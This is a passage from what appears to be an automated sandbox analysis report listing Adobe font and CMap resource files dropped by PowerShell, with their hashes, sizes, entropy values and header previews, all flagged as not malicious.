following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyrigh

C:\Users\user\AppData\Roaming\Extracted1\resource_\CMap\UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	3198
Entropy (8bit):	5.524396355467385
Encrypted:	false
SSDEEP:	96:Qdu2JMSrYJQrYJLWl/3gF9M+uyu5UV3tNmc/:QdiSrsQrsil/3gU+uF549NmU
MD5:	ABA47550AFFB435A1DCC6B70EFAB5B52
SHA1:	754168E2C3B58FCFCB57B3ECF5CA5EEBDDFA1F47
SHA-256:	7E403DAE40DF21FE3F9B221F7CE750F7F5BFF9CC73D82D011C4BCC48A0DB60ED
SHA-512:	D46537B67EF7137FC0B715E43F23322DD1189DB352235A4A5AD89CB6AF3D3FECAA51C1C93DCEA2A7E8FB8D25B18C3B0F2AB2F23DF7A5A76126A47389FFAC00B2
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%DocumentNeededResources: CMap (UniKS-UTF16-H)..%%IncludeResource: ProcSet (CIDInit)..%%IncludeResource: CMap (UniKS-UTF16-H)..%%BeginResource: CMap (UniKS-UTF16-V)..%%Title: (UniKS-UTF16-V Adobe Korea1 1)..%%Version: 1.002..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	85552
Entropy (8bit):	7.398236775028891
Encrypted:	false
SSDEEP:	1536:PmsMC/asb+Q+fGZNbDvdtlT9Mnlx643McbQqc80U0zy26RR38e8kscXqHZ3MD4ea:BMjlINbrdFMnP6hcbQq8Bn6IPksF8E
MD5:	8653BFE4C32A8528E981748E28C59570
SHA1:	DEC8DD8CBA986F5852286C8B8E45C6270AEAB65A
SHA-256:	5DBC496C0B5A12D9F9FFDB83A46B9FCDA8D1FC1FCD50832C783BE5E9277A698E
SHA-512:	66E39798CA8BBA9AF51F44E81B77AC1703F488B6361BFB05DE632FBB2726E5F1291F0210BE0FC933459BEA78FA433177B33E34BE977C079C97C5330D6590E7FB
Malicious:	false
Preview:	OTTO.......PBASE.>....<\...:CFF B.n....`../.DSIG......N(....GPOSR.[...<....fGSUB..5...=....ZOS/2..7....@...`cmapC......x....head..{.......6hhea...D.......$hmtxU.7{..H\....maxp.sP....8....namex..R........post...2...@... .......\a&._.<..................x....<...:...............................................s..P..s...............X...K...X...^.2.,............................ADBE... .........:................. .................7.............7...........C...........J...........7.........:.e...................................)...........E.........$._.........n...................................6.............M.........t.a...........M.....................4...........8...........4.A.........H.u. 2002 Adobe Systems Incorporated. All rights reserved.Adobe Pi StdRegular1.060;ADBE;AdobePiStd;ADOBEVersion 1.060;PS 1.010;hotconv 1.0.67;makeotf.lib2.5.33168AdobePiStdAdobe is either a registered trademark or a trademark of Adobe Systems Incorporated in the United States and/or other countries.Adobe

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	7.252217241313242
Encrypted:	false
SSDEEP:	768:UYJufmmvVJkJ7pFIJRUQXzUKOXBdbOIYvQXGPgfJVXhU:UYJu+mvPg9eYCzUKOXBdqIWQX4gfVU
MD5:	404952EC4D0AE00DD2F58FB980A99326
SHA1:	2DFA0796BE958109D1558B771C3C8C77049A3945
SHA-256:	A3C25F2EC60F8D44F150CD4E478067B06CC7267FBAAF844DA600CE1C31C6E5C1
SHA-512:	E9F60C1536663B11A8D262A49BD92B80BC619E26408464350A122B4CFA149900DA754C78EA7E84A314F4C914497005409CC83DC8B5F55D725BBA1BD5ACB2CE89
Malicious:	false
Preview:	OTTO.......PBASE......pt...:CFF ..........b.DSIG......w.....GPOS.z....p....RGSUB......q.....OS/2[0.....@...`cmap..~....d....head.9.n.......6hhea...........$hmtx5.1...t.....maxp.~P....8....nameh(..........post.=.5...t... .......h\..._.<..................x........V.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....V..`..........=... .................g.............g...........r......... .v.....................:...............................................$.............:.................................@.&...........f.........t.............f.........4.............,.........2.H.........H.z. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold2.068;ADBE;CourierStd-Bold;ADOBECourier Std BoldVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStd-BoldHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.com/type/legal.html... .1.9.8.9

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	31948
Entropy (8bit):	7.268882841938278
Encrypted:	false
SSDEEP:	768:edluzc2NPniJMT9BvYsWShVcbZks6AnkXhUZxX:edluz3piJMpusWShVcbZkfAnk2Z1
MD5:	6804E7413898972E05823ADD91B1DFC5
SHA1:	4DFC3CECD9D3C26AFACA087A69376EB6ABFEDEAF
SHA-256:	698FD9169AD62BD6FAEDD1C8E8637ABC9CC65B3B1A5BA8698242B1447303FBEE
SHA-512:	F89A494AA7DAE22022CB4BDDF911C9FB8F40220C5D49BBA79E5B7F97191FCC2740088437D3E56E6903E0B10AAF5535B4CE08DBE793A0E800D23038196EBF5FC6
Malicious:	false
Preview:	OTTO.......PBASE......v(...:CFF ..li...H..g.DSIG......\|.....GPOS.z....vd...RGSUB......v.....OS/2[1.k...@...`cmap..~.........head...n.......6hhea...0.......$hmtxR.OT..y.....maxp.~P....8....name...........wpost.2.5...(... .......h.j\_.<..................x........V.................s.....X...c......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....V..`..........=... .......J.........g.............g...........r.........'.}.....................:...............................................$.3...........W...........g...........r...........c...........1...........G.........N.].........,...........t...........,...........4.K.....................2...........H.........................1...........G. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold Italic2.068;ADBE;CourierStd-BoldOblique;ADOBECourier Std Bold ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierS

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	32296
Entropy (8bit):	7.252771161977646
Encrypted:	false
SSDEEP:	768:jhDq/ufETG+B8jqsYTvBTOYDjcXfwMXY6TnP1xaH9UzGb4dmA:jk/uf3YTpIPzo6TtxY9UzGb6
MD5:	71EC484296A30C9379607E36158CA809
SHA1:	6DBA5AFA525BFB38B653E30492D59D839DC7A0C9
SHA-256:	C54815A2729D633E400A6835679613090C20B91DA6CB40FA761AAA475EFB77F5
SHA-512:	0A53ED3EBD858D093CDFC2B2ACC104453C6E211416AE24A93C2A77FEB3C7A5AF8E2A27CA367194F8A6D7294CF36BEC84A3B0C6AF1CCB8047D9B0C72622A9C8DF
Malicious:	false
Preview:	OTTO.......PBASE......w....:CFF ...y...p..i.DSIG......~ ....GPOS.z....w....RGSUB......x.....OS/2Zi.N...@...`cmap..~....@....head...q.......6hhea...8.......$hmtxY.V...{ ....maxp.~P....8....name..h}........post.2.5...P... .......h=D.]_.<..................x........Y.................s.....X...l......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....Y..`..........=... .......V.........g.............g...........r.........#.x.....................:...............................................$.(...........L...........Z...........g...........m...........z...........H...........^.........F.j.........$...........t...........$...........4.H...........\|.........2...........H.........................H............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdItalic2.068;ADBE;CourierStd-Oblique;ADOBECourier Std Medium ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168Cou

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30824
Entropy (8bit):	7.22230558667107
Encrypted:	false
SSDEEP:	768:px0Kx7uekYqrdC/MNVO6MFsSStwPHMjz9Qc3:j3RuexqrdGYmJStYHmz913
MD5:	F4C2D3851E2781B2B3FF60A2E34E81AC
SHA1:	779F9FEE6D37C37A03601EC1AB406D055E8E7692
SHA-256:	54CB5C8E9775CB432AFE32B0AF688536354AD04EF9C9F1450EE7C88A73BC884D
SHA-512:	218CF55522D6EDD88AD92ACAA6D440F0F7FF2A0688948A834EF21EFF7CA6A915622723720DAE234E412E788EE7B722261B1A238A12D05C7F63F24D854FDAD43D
Malicious:	false
Preview:	OTTO.......PBASE......q....:CFF ..vN......d.DSIG......x`....GPOS.z....r....RGSUB......rT....OS/2Zh.....@...`cmap..~.........head.E.q.......6hhea...........$hmtx<.8...u`....maxp.~P....8....name.I..........post.=.5....... .......h..Gd_.<..................x........Y.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....Y..`..........=... .......&.........g.............g...........r...........y.....................:...............................................$.............5...........g...........;.................................6.-...........c.........t.w...........c.........4.......................2.;.........H.m............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdRegular2.068;ADBE;CourierStd;ADOBECourier Std MediumVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStdHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210284
Entropy (8bit):	7.068121028372695
Encrypted:	false
SSDEEP:	6144:3z2HDNf6XZFWrRBPt2a+C5vDgtTBbhRRkBPgdG:3zaNWZFyBPONbhXkBPOG
MD5:	B3870BE83F40B14CB382BD498920A137
SHA1:	08B27BCE2DB468785348F42E39B2E80D9107FB1A
SHA-256:	6AF523A01B268DDAAB5177E6C0DF5024F7192D72B0B1CA9523721FBAA2AA9257
SHA-512:	0979D123BA7D84B564AA0F018AE49ED7A2C4610882E574547ABADE7ABD2E743630CCC82DFE95C3FBE963731E33DF5D34C2E307FD28A2E7670E2AACBE3B87F70E
Malicious:	false
Preview:	OTTO.......PBASEe.]...L....FCFF ..]....<..4.DSIG......5d....GPOS.j....M,....GSUB...G......*.OS/2bq.....@...`cmap_E9.........head..T........6hhea...........$hmtxw..4.......Xmaxp..P....8....name. ._.......mpost...2....... .........+<._.<..........{.......x....................................\|......................P........2.........X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q...........u.....................9.....................................k...........z.........$.............q.............................................>.......................r.........................m.........4.o.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold2.113;ADBE;MinionPro-Bold;ADOBEMinion Pro BoldVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldMinion is either a registered trademark or a

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	251140
Entropy (8bit):	7.049888028137883
Encrypted:	false
SSDEEP:	6144:tj64FsxSslGgShJ2rgoyGgg4sB+73Lc8n+zYBYg:R6MsxS5rxglmOg
MD5:	A7487BEFBF3C7BA8C957D269D9BA24E1
SHA1:	75063A3DB5E857B5565FE8AC9CECA74440CF2EF2
SHA-256:	BEB1CA56F9B4F89FB1549FE63A4BC578D2BD8747F967C1DF26DACD3DED3F0223
SHA-512:	1694A64790AEAC2D789C75A2C664A62D19C3A487730BD368E2C76A78852046E94A158467DBED26783F8EB1C17E0D76E2C3150F6EC82131CC2BBB385EF931C1CD
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF M.X........VDSIG............GPOS.A\|.... ...GSUB..1.......2&OS/2br.e...@...`cmapdJ.j...X....head.tV........6hhea.&.........$hmtx+..=........maxp.DP....8....nameO..........post...2...`... ..........._.<..........}.......x....................................'...................D..P..D.....9.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q.........!.\|.....................9.....................................}.....................$.........................q.............................................B........... ...........r.7......... .......................4.......................2...........H./............. 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold Italic2.113;ADBE;MinionPro-BoldIt;ADOBEMinion Pro Bold ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldItMinion is eith

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	252108
Entropy (8bit):	7.069665241195929
Encrypted:	false
SSDEEP:	6144:H5Pf8kkiiO4vviV+eehOtHU5VLO+++A3++awYHt:H5n8qrIthf5VU2Ht
MD5:	45E2315E99F24AB596F9D3AED29A0FC3
SHA1:	A73342DB05275C6858984F25C0D1278E93BFBEE9
SHA-256:	90DEF22F2B7B3E4AA78A160084A7A2C8F28883B700ABAEDC004DC74CBC2D9B4C
SHA-512:	1D479BEDA9F70055B0596E18D9F41DACE4141DEFB3BA9D01F21C0262E889FE37B7D9F3558B37E7716196DE5C2AA7668BB8B115A5BF4540763239F22A4D530CF9
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF .g.,...L....DSIG............GPOSkj`O...X...4GSUB..1.......2&OS/2`F.....@...`cmapdJ.j...$....head..V........6hhea.C.........$hmtx\|...........maxp.DP....8....namec\|..........post...2...,... ..........yE_.<..........}.......x..7...............................7./...................C..P..D.....!.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q...........w.....................9.....................................k...........z.........$.........................q.............................................:.......................r.........................x.........4.z.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProItalic2.113;ADBE;MinionPro-It;ADOBEMinion Pro ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-ItMinion is either a registered tr

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210808
Entropy (8bit):	7.107882344262286
Encrypted:	false
SSDEEP:	3072:kP2Ea79vZp3MeJymLbVQbKH3L9jLU2jRM5eUlVsXGUPHTfeoAL3sBgL/4tHRkBDB:kP2h76QRMUoVsXdwsBw/kxkBgW
MD5:	A4EA2690CFD854B24C968AC6CDCE9C33
SHA1:	EFC3BC793479DF1A34D76C42063997AD0E73C6B6
SHA-256:	327CB2238A82A89176FF6601139CBD0A5CDD8F8E1E057343EAE13FA9B1E10AB8
SHA-512:	F722B32C397179B25E33B88771CB588C6F23A615533E3DCB21B34052E2930F935DAB58B7EE5A3098912A41E6266B5F26B86602CF57BFF41917D634E55A86C52E
Malicious:	false
Preview:	OTTO.......PBASEe.]...Q`...FCFF .......H..9.DSIG......7p....GPOS.3.t..Q....rGSUB...G......*.OS/2`E.....@...`cmap_E9.........head.5T........6hhea...........$hmtx.4.........Xmaxp..P....8....name.O.........ypost...2...(... ............_.<..........{.......x....................................v......................P..................X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q.........".x...........g.........9.....................................e...........t.........$.............q.............................................D..........."...........r...........".............y.........4.{.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProRegular2.113;ADBE;MinionPro-Regular;ADOBEVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-RegularMinion is either a registered trademark or a trade

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MyriadPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90456
Entropy (8bit):	6.813831131460659
Encrypted:	false
SSDEEP:	1536:ruMpOn479vZp3MeJymLbVQbZg8Lm52cqU5mJm2Tg9gHsF+JSqyi+GGGCRqBtUwah:CU179vZp3MeJymLbVQbZ3CrqUwJmStEh
MD5:	E6D1585E6C81E3206948D8548D914FEC
SHA1:	4BFA4D5AD9995BD89E2D443009E4FFB728A1F74B
SHA-256:	2D09971801F2C18FC5A825379404113DB237866073AB463A9BF0F3DA8C62459A
SHA-512:	058CF93EA2BE4E98E752A4090F295E00BAD37B7DB9D4461CF7484409AF5087853653FD82AA7475A85950B48367A1D9168CC8983791B78DABEB8AF4F84397A264
Malicious:	false
Preview:	OTTO.......PBASEe%].......FCFF ..r.........DSIG......aP....GPOS8........M.GSUB.'$(..A....^OS/2_V.....@...`cmapJ.3C........head...........6hhea...........$hmtx..i...T....Hmaxp.RP....8....name...........Fpost...2....... .......dt..._.<..........N........x..]...............................].\...................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y...........]...........\|.........:...................................!.T...........u.........$.........................P...........d.........>.l.....................t.........................:.........4.<.........B.p.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold2.107;ADBE;MyriadPro-Bold;ADOBEMyriad Pro BoldVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	92636
Entropy (8bit):	6.860831645020259
Encrypted:	false
SSDEEP:	1536:fpMBiTX79vZp3MeJymLbVQbaRRQQmzcJfttExKBUBq8YRfyraMvxvxM+RP/YxTRV:hA879vZp3MeJymLbVQbaRRQzzcJfttEo
MD5:	01E3D8472C3CBC43799FED290B0DC219
SHA1:	916A7E55B47D079E0BF0E3FEA9EF8F48AF3D53C4
SHA-256:	7BCFA54CB8FB5B64DFE36F411D5265F7F71DC6F3B685C7ED0EB3753EE194BB45
SHA-512:	E70A72670E5267582BD652ABC73DE091D8978856B757001C7B5EFCC110A331B45EE0334C5864685C3054B627E0C750A050396842ED66C43A8B43AA33E6342B1C
Malicious:	false
Preview:	OTTO.......PBASEe%]....T...FCFF ..V....8....DSIG......i.....GPOSg.K......JFGSUB!Y=>..H.....OS/2_W.;...@...`cmapJ.3%...,....head.x........6hhea.\|.........$hmtx..\...\\|...Xmaxp.VP....8....name..Ul........post...2....... .......d..I:_.<..........N........x..7...............................7.....................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y.........!.d.....................:...................................!.f.....................$.....................................t.....................B........... ...........t........... .............t.........4.v.........B...........2...........H... 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold Italic2.107;ADBE;MyriadPro-BoldIt;ADOBEMyriad Pro Bold ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldItMyriad is either a registered trademark or a trademark of Ado

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	91132
Entropy (8bit):	6.90451917854644
Encrypted:	false
SSDEEP:	1536:E5Mgi/379vZp3MeJymLbVQbnbkVGcjf0DoEgNT8QcZaQwHhFzeKuvGujl2u1X2Y2:AFi79vZp3MeJymLbVQbnqVjf1EAXcN0D
MD5:	4413059068C27D82AD49621AE4AAEB5B
SHA1:	CA0E2F5CE7303031E1B97F6EB3402E45E3786A3B
SHA-256:	F234ADAFB66AD5E47A024FF4881C2EDC347D0453C15E811288EF10EB573CC33E
SHA-512:	5F68440FB0FE825A3742BDEB5EA089BB124D878DE7CEA74AB3270B888125F66D3E0EC62D562BCEEA194DC68CE9A40EA1BEF5D5980CE7EA207D91F04A20298412
Malicious:	false
Preview:	OTTO.......PBASEe%]....L...FCFF .\.........CDSIG......c.....GPOS<..y......JpGSUB!Y=>..C.....OS/2^+.....@...`cmapJ.3%........head..........6hhea...........$hmtx&.vA..V....Xmaxp.VP....8....namef..z.......[post...2....... .......d.C.._.<..........N........x..G...B.........................d.G.".B.................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y..........._...........\|.........:...................................!.T...........u.........$.....................................]...........q.........:.}.....................t.........................C.........4.E.........B.y.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProItalic2.107;ADBE;MyriadPro-It;ADOBEMyriad Pro ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-ItMyriad is either a registered trademark or a trademark of Adobe Systems Incorpo

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90404
Entropy (8bit):	6.8729134624051
Encrypted:	false
SSDEEP:	1536:SVM7Ouk79vZp3MeJymLbVQb2RG4m1Gnb0LBaJx1llp8PUUNMF7BM7omdoZNaDq5i:2QK79vZp3MeJymLbVQbtf1GRxH8sUN20
MD5:	1AED3BCF1B764F4AC6D9B988B0E724C0
SHA1:	6E149809FF93E683307AB3154FDD57EB24C5E9A3
SHA-256:	C812279DB1ED52876E3B59791645424CB4714CB710F60DA45F1B40757C3263E3
SHA-512:	8FB3591513BEE4D9C77EB6380D9F05E7E423434BF667759765D14CE8CDC89D969230516F271B28F508BA5FBA0E21B7623239E16C02599FA36B0900D199805BC4
Malicious:	false
Preview:	OTTO.......PBASEe%]....$...FCFF eAk........!DSIG......a.....GPOS.z....l..O.GSUB.'$(..At...^OS/2^.....@...`cmapJ.3C........head.>.H.......6hhea...?.......$hmtxAx}U..S....Hmaxp.RP....8....name.G........Rpost...2....... .......d..._.<..........N........x..c...f...........................c.b.f.................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y.........".`...........O.........:...................................!.N...........o.........$.........................J...........^.........D.l........."...........t...........".............F.........4.H.........B.\|.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProRegular2.107;ADBE;MyriadPro-Regular;ADOBEVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-RegularMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the Unite

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\CMap\Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.132524855127476
Encrypted:	false
SSDEEP:	192:QJeSrsQrsil/3gU+uSpo4cvkikNwA+KZwOyKXuU8fy:QJhrsQrsWPsu+oVkEKZnNz8fy
MD5:	40F5DC1383E3E8F870ED8F763ED51878
SHA1:	474A429DE3B9FEBA36CFA4CE4EDCD4FAE3CDDC5B
SHA-256:	AAE946BC17203B5DF12838D07AE5CAFC9E85A1D42D1B94D8475AB2D42B77A5CB
SHA-512:	69B6D3AF2CCAAE9437FE4E0206C44D29EC7A51F39334826737907E1126505071BA888F4134DE55A07CF14256B47DAF6D29CC73BAB60F3C6CD7D8BB30E24778FB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-H)..%%Title: (Identity-H Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\CMap\Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	2761
Entropy (8bit):	5.338925731793176
Encrypted:	false
SSDEEP:	48:7alblVd2UZOSrYJQrYJLL4dhPn/32sNGFt3Ehov1JTYHeGTy9UWT/D/:QJVd2UMSrYJQrYJLWl/3gF9M+uy9Uk/
MD5:	B5084CBF0AB0C3DEAC97E06CD3CB2ECC
SHA1:	C32458CDA1951CECFFB69AA2F7E3A1EA8BF36251
SHA-256:	7483DB44E4449A7AE232B30D6CBA0D8746592757D0E91BE82EC45B646C608807
SHA-512:	B15F65A2AB21121A4B815932A7E2DCAFCF27F458BCE532AE46BBCBD6B1134153027BF3E138FAB42457A89BC892256B4796BBB9F1E3A85F9F4C5202015B56E3A5
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-V)..%%Title: (Identity-V Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\CMap\UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	243835
Entropy (8bit):	4.336925781445846
Encrypted:	false
SSDEEP:	6144:JAYrjXraHOiu06s7SSC2RGaC4J7G27r7Sbtg2j35GEE9:JAYrj7aHOip6rShXC4J7G27r7Sbtg2j0
MD5:	FB9D6CD4449EC7478EE8AD1BD7465BF5
SHA1:	3D42495890E0F2ACC6B564EAA79FE020FDD2FC79
SHA-256:	66CDCAED3AA94525C59A82A39A93B96885883BFFADEA1E572464D559D21443A6
SHA-512:	259467113CDA70BA8D399E233BEF8A718F76BC6B977AC54C216BD53796A8003E7A7276031388E282F1F4430FC2FCD269B06341F2082A9442A65BBCCDEB767EB1
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UCS2-GBK-EUC)..%%Title: (UCS2-GBK-EUC)..%%Version: 4.002..%%Copyright: -----------------------------------------------------------..%%Copyright:..%%Copyright: Copyright 1990-2002 Adobe Systems Incorporated. All Rights Reserved...%%Copyright:..%%Copyright: PostScript and Display PostScript are trademarks of..%%Copyright: Adobe Systems Incorporated which may be registered in..%%Copyright: certain jurisdictions...%%Copyright: -----------------------------------------------------------..%%..%% This is not a CMap file. This file is intended to be used by Adobe Acrobat or..%% licensee of the Adobe PDF Library...%%EndComments..../CIDInit /ProcSet findresource begin....12 dict begin....begincmap..../CIDSystemInfo 3 dict dup begin.. /Registry (Adobe) def.. /Ordering (UCS2_GBK_EUC) def.. /Supplement 2 def..end def..../CMapName /UCS2-GBK-EUC def../CMapVersion

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\CMap\UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	131902
Entropy (8bit):	4.421890291466171
Encrypted:	false
SSDEEP:	3072:EbOks6xITS4gmLJpAEhFDDvBB4TS+JjXsc:jjTvIN3
MD5:	F65C06189A55139E13885D9716BFE35C
